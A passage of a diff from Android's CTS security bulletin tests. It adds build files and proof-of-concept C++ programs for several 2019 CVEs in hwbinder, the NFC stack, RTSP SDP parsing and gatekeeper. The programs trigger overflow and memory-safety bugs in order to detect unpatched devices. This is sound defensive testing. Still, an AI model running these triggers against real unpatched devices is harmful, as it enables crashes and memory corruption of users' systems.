+ auto info = SkImageInfo::MakeN32Premul(size);
+ SkBitmap bm;
+ if (!bm.tryAllocPixels(info)) {
+ return EXIT_FAILURE;
+ }
+
+ SkAndroidCodec::AndroidOptions options;
+ options.fSampleSize = sampleSize;
+
+ codec->getAndroidPixels(bm.info(), bm.getPixels(), bm.rowBytes(), &options);
+ return EXIT_SUCCESS;
+}
+
+int main(int argc, char **argv) {
+ if (argc != 2) {
+ return EXIT_FAILURE;
+ }
+ std::ifstream inFile(argv[1]);
+ if (!inFile) {
+ return EXIT_FAILURE;
+ }
+ inFile.seekg(0, inFile.end);
+ size_t size = inFile.tellg();
+ if (size < 1) {
+ inFile.close();
+ return EXIT_FAILURE;
+ }
+ inFile.seekg(0, inFile.beg);
+ uint8_t *data = (uint8_t *)malloc(size);
+ if (!data) {
+ return EXIT_FAILURE;
+ }
+ inFile.read(reinterpret_cast<char *>(data), size);
+ auto bytes = SkData::MakeWithoutCopy(data, size);
+ bytes = SkData::MakeSubset(bytes.get(), 1, size - 1);
+ enable_selective_overload = ENABLE_ALL;
+ int ret = decode(bytes, SAMPLE_SIZE);
+ enable_selective_overload = ENABLE_NONE;
+ inFile.close();
+ free(data);
+ return ret;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2011/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2011/Android.bp
new file mode 100644
index 0000000..59d60f3
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2011/Android.bp
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2019-2011",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ shared_libs: [
+ "libhidlbase",
+ "libcutils",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2011/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2011/poc.cpp
new file mode 100644
index 0000000..1de147c
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2011/poc.cpp
@@ -0,0 +1,50 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <hwbinder/Parcel.h>
+
+using namespace android::hardware;
+
+int main() {
+ int32_t numFds = 1;
+ int32_t numInts = 0;
+ android::status_t err = android::NO_ERROR;
+
+ native_handle_t *nativeHandleSend = native_handle_create(numFds, numInts);
+ Parcel *parcel = new Parcel();
+ err = parcel->writeNativeHandleNoDup(nativeHandleSend);
+ if (err != android::NO_ERROR) {
+ return EXIT_FAILURE;
+ }
+ parcel->setDataPosition(0);
+
+ nativeHandleSend->numInts = 1024;
+
+ const native_handle_t *nativeHandleReceive = nullptr;
+ err = parcel->readNativeHandleNoDup(&nativeHandleReceive);
+ if (err == android::NO_ERROR) {
+ native_handle_t *tempHandle = const_cast<native_handle_t *>(nativeHandleReceive);
+ for (numInts = nativeHandleReceive->numFds; numInts < nativeHandleReceive->numInts;
+ ++numInts) {
+ ++tempHandle->data[numInts];
+ }
+ }
+
+ // The fix is to validate the nativeHandle size and return an error. Hence
+ // if control reaches here, the patch is present. Return EXIT_SUCCESS
+ delete parcel;
+ native_handle_delete(nativeHandleSend);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2013/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2013/Android.bp
new file mode 100644
index 0000000..7ffdd65
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2013/Android.bp
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2019-2013",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ compile_multilib: "64",
+ include_dirs: [
+ "system/nfc/src/nfc/include/",
+ "system/nfc/src/include/",
+ "system/nfc/src/gki/common/",
+ "system/nfc/src/gki/ulinux/",
+ ],
+ shared_libs: [
+ "libnfc-nci",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ "-DENABLE_SELECTIVE_OVERLOADING",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2013/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2013/poc.cpp
new file mode 100644
index 0000000..23098ac
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2013/poc.cpp
@@ -0,0 +1,168 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <nfc_int.h>
+#include <rw_int.h>
+#include <dlfcn.h>
+
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+
+#define T3T_MSG_FELICALITE_MC_OFFSET 0x01
+
+char enable_selective_overload = ENABLE_NONE;
+
+extern tRW_CB rw_cb;
+extern tNFC_CB nfc_cb;
+void rw_init(void);
+tNFC_STATUS rw_t3t_select(uint8_t peer_nfcid2[NCI_RF_F_UID_LEN],
+ uint8_t mrti_check, uint8_t mrti_update);
+
+static void (*real_GKI_freebuf)(void* ptr) = nullptr;
+void *kAllocatedPointers[2];
+int allocatedPointersIndex = -1;
+bool kIsInitialized = false;
+
+void init(void) {
+ real_GKI_freebuf = (void (*)(void*))dlsym(RTLD_NEXT, "_Z11GKI_freebufPv");
+ if (!real_GKI_freebuf) {
+ return;
+ }
+
+ kIsInitialized = true;
+}
+
+void GKI_freebuf(void* ptr) {
+ if (!kIsInitialized) {
+ init();
+ }
+ if (ptr == kAllocatedPointers[0] || ptr == kAllocatedPointers[1]) {
+ return;
+ } else {
+ real_GKI_freebuf(ptr);
+ }
+}
+
+void *allocate_memory(size_t size) {
+ void *ptr = malloc(size);
+ memset(ptr, 0x0, size);
+ kAllocatedPointers[++allocatedPointersIndex] = ptr;
+ return ptr;
+}
+
+// borrowed from rw_i93.cc
+enum {
+ RW_T3T_CMD_DETECT_NDEF,
+ RW_T3T_CMD_CHECK_NDEF,
+ RW_T3T_CMD_UPDATE_NDEF,
+ RW_T3T_CMD_CHECK,
+ RW_T3T_CMD_UPDATE,
+ RW_T3T_CMD_SEND_RAW_FRAME,
+ RW_T3T_CMD_GET_SYSTEM_CODES,
+ RW_T3T_CMD_FORMAT,
+ RW_T3T_CMD_SET_READ_ONLY_SOFT,
+ RW_T3T_CMD_SET_READ_ONLY_HARD,
+
+ RW_T3T_CMD_MAX
+};
+
+// borrowed from rw_i93.cc
+enum {
+ RW_T3T_STATE_NOT_ACTIVATED,
+ RW_T3T_STATE_IDLE,
+ RW_T3T_STATE_COMMAND_PENDING
+};
+
+// borrowed from rw_i93.cc
+enum {
+ /* Sub states for formatting Felica-Lite */
+ RW_T3T_FMT_SST_POLL_FELICA_LITE, /* Waiting for POLL Felica-Lite response (for
+ formatting) */
+ RW_T3T_FMT_SST_CHECK_MC_BLK, /* Waiting for Felica-Lite MC (MemoryControl)
+ block-read to complete */
+ RW_T3T_FMT_SST_UPDATE_MC_BLK, /* Waiting for Felica-Lite MC (MemoryControl)
+ block-write to complete */
+ RW_T3T_FMT_SST_UPDATE_NDEF_ATTRIB, /* Waiting for NDEF attribute block-write
+ to complete */
+
+ /* Sub states for setting Felica-Lite read only */
+ RW_T3T_SRO_SST_POLL_FELICA_LITE, /* Waiting for POLL Felica-Lite response (for
+ setting read only) */
+ RW_T3T_SRO_SST_UPDATE_NDEF_ATTRIB, /* Waiting for NDEF attribute block-write
+ to complete */
+ RW_T3T_SRO_SST_CHECK_MC_BLK, /* Waiting for Felica-Lite MC (MemoryControl)
+ block-read to complete */
+ RW_T3T_SRO_SST_UPDATE_MC_BLK /* Waiting for Felica-Lite MC (MemoryControl)
+ block-write to complete */
+};
+
+void cback(uint8_t c __attribute__((unused)),
+ tRW_DATA* d __attribute__((unused))) {
+}
+
+int main() {
+
+ enable_selective_overload = ENABLE_ALL;
+ tRW_T3T_CB* p_t3t = &rw_cb.tcb.t3t;
+
+ GKI_init();
+ rw_init();
+
+ uint8_t peer_nfcid2[NCI_RF_F_UID_LEN];
+ uint8_t mrti_check = 1, mrti_update = 1;
+ if (rw_t3t_select(peer_nfcid2, mrti_check, mrti_update) != NFC_STATUS_OK) {
+ return EXIT_FAILURE;
+ }
+
+ tNFC_CONN *p_data = (tNFC_CONN *) allocate_memory(sizeof(tNFC_CONN));
+ if (!p_data) {
+ return EXIT_FAILURE;
+ }
+ p_data->data.p_data = (NFC_HDR *) allocate_memory(sizeof(NFC_HDR) * 4);
+ if (!(p_data->data.p_data)) {
+ free(p_data);
+ return EXIT_FAILURE;
+ }
+ p_data->status = NFC_STATUS_OK;
+
+ p_t3t->cur_cmd = RW_T3T_CMD_SET_READ_ONLY_HARD;
+ p_t3t->rw_state = RW_T3T_STATE_COMMAND_PENDING;
+ p_t3t->rw_substate = RW_T3T_SRO_SST_CHECK_MC_BLK;
+
+ NFC_HDR* p_msg = (p_data->data).p_data;
+ p_msg->len = T3T_MSG_RSP_COMMON_HDR_LEN;
+
+ uint8_t* p_t3t_rsp = (uint8_t*) (p_msg + 1) + (p_msg->offset + 1);
+ p_t3t_rsp[T3T_MSG_RSP_OFFSET_RSPCODE] = T3T_MSG_OPC_CHECK_RSP;
+ p_t3t_rsp[T3T_MSG_RSP_OFFSET_STATUS1] = T3T_MSG_RSP_STATUS_OK;
+
+ uint8_t* p_mc = &p_t3t_rsp[T3T_MSG_RSP_OFFSET_CHECK_DATA];
+ p_mc[T3T_MSG_FELICALITE_MC_OFFSET_SYS_OP] = T3T_MSG_FELICALITE_MC_OFFSET;
+
+ tNFC_CONN_CB* p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
+ tNFC_CONN_EVT event = NFC_DATA_CEVT;
+ TIMER_LIST_ENT pFirst = { };
+ nfc_cb.quick_timer_queue.p_first = &pFirst;
+
+ rw_cb.p_cback = &cback;
+ p_cb->p_cback(0, event, p_data);
+
+ free(p_data->data.p_data);
+ free(p_data);
+
+ enable_selective_overload = ENABLE_NONE;
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2019/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2019/Android.bp
new file mode 100644
index 0000000..fe66191
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2019/Android.bp
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2019-2019",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ "-DENABLE_SELECTIVE_OVERLOADING",
+ ],
+ include_dirs: [
+ "system/nfc/src/include/",
+ "system/nfc/src/gki/common/",
+ "system/nfc/src/gki/ulinux/",
+ "system/nfc/src/nfc/include/",
+ ],
+ shared_libs: [
+ "libnfc-nci",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2019/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2019/poc.cpp
new file mode 100644
index 0000000..483b7c4
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2019/poc.cpp
@@ -0,0 +1,65 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <ce_int.h>
+#include <nfc_int.h>
+
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+
+#define OFFSET 8
+#define VULNERABLE_LENGTH 0
+
+char enable_selective_overload = ENABLE_NONE;
+
+extern tNFC_CB nfc_cb;
+extern tCE_CB ce_cb;
+
+void GKI_freebuf(void* p_buf __attribute__((unused))) {}
+
+void nfc_start_quick_timer(TIMER_LIST_ENT*, uint16_t, uint32_t) {}
+
+void nfc_stop_timer(TIMER_LIST_ENT*) {}
+
+void nfc_stop_quick_timer(TIMER_LIST_ENT*) {}
+
+int main() {
+ enable_selective_overload = ENABLE_ALL;
+ GKI_init();
+ ce_init();
+ ce_cb.mem.t4t.status = CE_T4T_STATUS_REG_AID_SELECTED;
+
+ if (ce_select_t4t() != NFC_STATUS_OK) {
+ return EXIT_FAILURE;
+ }
+
+ tNFC_CONN_CB* p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
+ tNFC_CONN* p_data = (tNFC_CONN*)malloc(sizeof(tNFC_CONN));
+ p_data->data.p_data = (NFC_HDR*)malloc(sizeof(uint8_t) * 16);
+ NFC_HDR* p_c_apdu = (NFC_HDR*)p_data->data.p_data;
+ p_c_apdu->len = VULNERABLE_LENGTH;
+ p_c_apdu->offset = OFFSET;
+ uint8_t conn_id = 1;
+ TIMER_LIST_ENT pFirst = {};
+ nfc_cb.quick_timer_queue.p_first = &pFirst;
+
+ p_cb->p_cback(conn_id, NFC_DATA_CEVT, p_data);
+
+ free(p_data->data.p_data);
+ free(p_data);
+ enable_selective_overload = ENABLE_NONE;
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2044/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2044/Android.bp
new file mode 100644
index 0000000..f516e6a
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2044/Android.bp
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2019-2044",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ ],
+ compile_multilib: "32",
+ include_dirs: [
+ "frameworks/av/media/libstagefright/rtsp/",
+ ],
+ shared_libs: [
+ "libmediaplayerservice",
+ "libstagefright_foundation",
+ "libutils",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2044/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2044/poc.cpp
new file mode 100644
index 0000000..e733c6f
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2044/poc.cpp
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <stdlib.h>
+#include <APacketSource.h>
+#include <ASessionDescription.h>
+
+using namespace android;
+
+int main(void) {
+ sp<ASessionDescription> desc = new ASessionDescription;
+ static const char *raw =
+ "m=mFormats 20\r\n"
+ "a=rtpmap:20 MP4V-ES/1/2\r\n"
+ "a=fmtp:20 config=0000012000004000280020008061616161616161616161616161"
+ "61616161616161616161616161616161616161616161616161616161616161616161"
+ "61616161616161616161616161616161616161616161616161616161616161616161"
+ "616161616161616161616161616161616161616161616161616161\r\n"
+ "a=range:npt=1.1-2.2\r\n"
+ "a=framesize:1-9 \r\n"
+ "a=control:abc\r\n"
+ "a=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\r\n";
+
+ if(!desc->setTo(raw, strlen(raw))) {
+ return EXIT_FAILURE;
+ }
+
+ sp<APacketSource> source = new APacketSource(desc, 1);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2099/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2099/Android.bp
new file mode 100644
index 0000000..85304bc
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2099/Android.bp
@@ -0,0 +1,34 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+cc_test {
+ name: "CVE-2019-2099",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ],
+ compile_multilib: "64",
+ include_dirs: [
+ "system/nfc/src/nfc/include/",
+ "system/nfc/src/include/",
+ "system/nfc/src/gki/common/",
+ "system/nfc/src/gki/ulinux/",
+ "system/nfc/src/nfa/include/",
+ ],
+ shared_libs: [
+ "libnfc-nci",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2099/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2099/poc.cpp
new file mode 100644
index 0000000..8cfa619
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2099/poc.cpp
@@ -0,0 +1,122 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <dlfcn.h>
+#include <nfa_rw_int.h>
+#include <nfc_int.h>
+#include <rw_int.h>
+#include <stdlib.h>
+#include "../includes/common.h"
+
+#define LENGTH 0xBEB
+
+extern tRW_CB rw_cb;
+extern tNFC_CB nfc_cb;
+void rw_init(void);
+void NFA_Init(tHAL_NFC_ENTRY *p_hal_entry_tbl);
+bool nfa_rw_activate_ntf(tNFA_RW_MSG *p_data);
+
+bool isInitialized = false;
+
+static void *(*real_memcpy)(void *to, const void *from, size_t numBytes) = nullptr;
+
+void init(void) {
+ real_memcpy = (void *(*)(void *, const void *, size_t))dlsym(RTLD_NEXT, "memcpy");
+ if (real_memcpy == nullptr) {
+ return;
+ }
+ isInitialized = true;
+}
+
+void *memcpy(void *to, const void *from, size_t numBytes) {
+ if (!isInitialized) {
+ init();
+ }
+ if (numBytes == LENGTH) {
+ exit(EXIT_VULNERABLE);
+ }
+ return real_memcpy(to, from, numBytes);
+}
+
+int freeResourcesAndReturn(int status, tNFA_RW_MSG *ptr1 = nullptr,
+ tNFC_ACTIVATE_DEVT *ptr2 = nullptr, tRW_DATA *ptr3 = nullptr,
+ NFC_HDR *ptr4 = nullptr, uint8_t *ptr5 = nullptr) {
+ if (ptr1) {
+ if (ptr2) {
+ free(ptr2);
+ }
+ free(ptr1);
+ }
+ if (ptr3) {
+ if (ptr4) {
+ free(ptr4);
+ }
+ free(ptr3);
+ }
+ if (ptr5) {
+ free(ptr5);
+ }
+ return status;
+}
+
+int main() {
+ GKI_init();
+ rw_init();
+ tHAL_NFC_ENTRY p_hal_entry_tbl;
+ NFA_Init(&p_hal_entry_tbl);
+
+ tNFA_RW_MSG *p_data = (tNFA_RW_MSG *)malloc(sizeof(tNFA_RW_MSG));
+ if (!p_data) {
+ return EXIT_FAILURE;
+ }
+ p_data->activate_ntf.p_activate_params =
+ (tNFC_ACTIVATE_DEVT *)malloc(sizeof(tNFC_ACTIVATE_DEVT));
+ if (!(p_data->activate_ntf.p_activate_params)) {
+ return freeResourcesAndReturn(EXIT_FAILURE, p_data);
+ }
+
+ tNFC_ACTIVATE_DEVT *p_activate_params = p_data->activate_ntf.p_activate_params;
+ p_activate_params->protocol = NFC_PROTOCOL_T2T;
+
+ nfa_rw_activate_ntf(p_data);
+
+ tRW_CBACK *p_cback = rw_cb.p_cback;
+ tRW_DATA *p_rw_data = (tRW_DATA *)malloc(sizeof(tRW_DATA));
+ if (!p_rw_data) {
+ return freeResourcesAndReturn(EXIT_FAILURE, p_data, p_data->activate_ntf.p_activate_params);
+ }
+
+ nfa_rw_cb.cur_op = NFA_RW_OP_READ_NDEF;
+ p_rw_data->data.p_data = (NFC_HDR *)malloc(sizeof(NFC_HDR));
+ if (!(p_rw_data->data.p_data)) {
+ return freeResourcesAndReturn(EXIT_FAILURE, p_data, p_data->activate_ntf.p_activate_params,
+ p_rw_data);
+ }
+
+ nfa_rw_cb.p_ndef_buf = (uint8_t *)malloc(sizeof(uint8_t));
+ if (!(nfa_rw_cb.p_ndef_buf)) {
+ return freeResourcesAndReturn(EXIT_FAILURE, p_data, p_data->activate_ntf.p_activate_params,
+ p_rw_data, p_rw_data->data.p_data);
+ }
+
+ p_rw_data->data.p_data->len = LENGTH;
+ if (p_cback) {
+ p_cback(RW_T3T_CHECK_EVT, p_rw_data);
+ }
+
+ return freeResourcesAndReturn(EXIT_SUCCESS, p_data, p_data->activate_ntf.p_activate_params,
+ p_rw_data, p_rw_data->data.p_data, nfa_rw_cb.p_ndef_buf);
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2115/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2115/Android.bp
new file mode 100644
index 0000000..4052106
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2115/Android.bp
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2019-2115",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ],
+ include_dirs: [
+ "system/gatekeeper/include/gatekeeper/",
+ ],
+ shared_libs: [
+ "libgatekeeper",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2115/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2115/poc.cpp
new file mode 100644
index 0000000..9ddc0e1
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2115/poc.cpp
@@ -0,0 +1,106 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define private public
+
+#include "../includes/common.h"
+#include "gatekeeper.h"
+
+using namespace gatekeeper;
+
+bool isVulnerable = false;
+const uint8_t *authTokenKey = nullptr;
+
+void *operator new(decltype(sizeof(0)) n) noexcept(false) { return malloc(n); }
+
+void operator delete(void *ptr) throw() {
+ if (ptr == authTokenKey) {
+ isVulnerable = true;
+ }
+ if (!ptr) {
+ free(ptr);
+ }
+}
+
+class DerivedGateKeeper : public GateKeeper {
+ protected:
+ bool GetAuthTokenKey(const uint8_t **auth_token_key,
+ uint32_t *length __attribute__((unused))) const {
+ *auth_token_key = (const uint8_t *)(new uint8_t());
+ authTokenKey = *auth_token_key;
+ return true;
+ }
+ void GetPasswordKey(const uint8_t **password_key __attribute__((unused)),
+ uint32_t *length __attribute__((unused))) {}
+ void ComputePasswordSignature(uint8_t *signature __attribute__((unused)),
+ uint32_t signature_length __attribute__((unused)),
+ const uint8_t *key __attribute__((unused)),
+ uint32_t key_length __attribute__((unused)),
+ const uint8_t *password __attribute__((unused)),
+ uint32_t password_length __attribute__((unused)),
+ salt_t salt __attribute__((unused))) const {}
+ void GetRandom(void *random __attribute__((unused)),
+ uint32_t requested_size __attribute__((unused))) const {}
+ void ComputeSignature(uint8_t *signature __attribute__((unused)),
+ uint32_t signature_length __attribute__((unused)),
+ const uint8_t *key __attribute__((unused)),
+ uint32_t key_length __attribute__((unused)),
+ const uint8_t *message __attribute__((unused)),
+ const uint32_t length __attribute__((unused))) const {}
+ uint64_t GetMillisecondsSinceBoot() const { return EXIT_SUCCESS; }
+ bool GetFailureRecord(uint32_t uid __attribute__((unused)),
+ secure_id_t user_id __attribute__((unused)),
+ failure_record_t *record __attribute__((unused)),
+ bool secure __attribute__((unused))) {
+ return false;
+ }
+ bool ClearFailureRecord(uint32_t uid __attribute__((unused)),
+ secure_id_t user_id __attribute__((unused)),
+ bool secure __attribute__((unused))) {
+ return false;
+ }
+ bool WriteFailureRecord(uint32_t uid __attribute__((unused)),
+ failure_record_t *record __attribute__((unused)),
+ bool secure __attribute__((unused))) {
+ return false;
+ }
+ uint32_t ComputeRetryTimeout(const failure_record_t *record __attribute__((unused))) {
+ return EXIT_SUCCESS;
+ }
+ virtual bool IsHardwareBacked() const { return false; }
+ bool DoVerify(const password_handle_t *expected_handle __attribute__((unused)),
+ const SizedBuffer &password __attribute__((unused))) {
+ return false;
+ }
+};
+
+int main() {
+ uint8_t *auth_token = new uint8_t();
+ uint32_t length = sizeof(uint32_t);
+ SizedBuffer *sb = new SizedBuffer(auth_token, length);
+ uint64_t timestamp = 1;
+ secure_id_t user_id = 1;
+ secure_id_t authenticator_id = 1;
+ uint64_t challenge = 0;
+
+ DerivedGateKeeper *object = new DerivedGateKeeper();
+ object->MintAuthToken(sb, timestamp, user_id, authenticator_id, challenge);
+
+ delete auth_token;
+ delete object;
+ delete sb;
+ return (isVulnerable) ? EXIT_VULNERABLE : EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2126/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2126/Android.bp
new file mode 100644
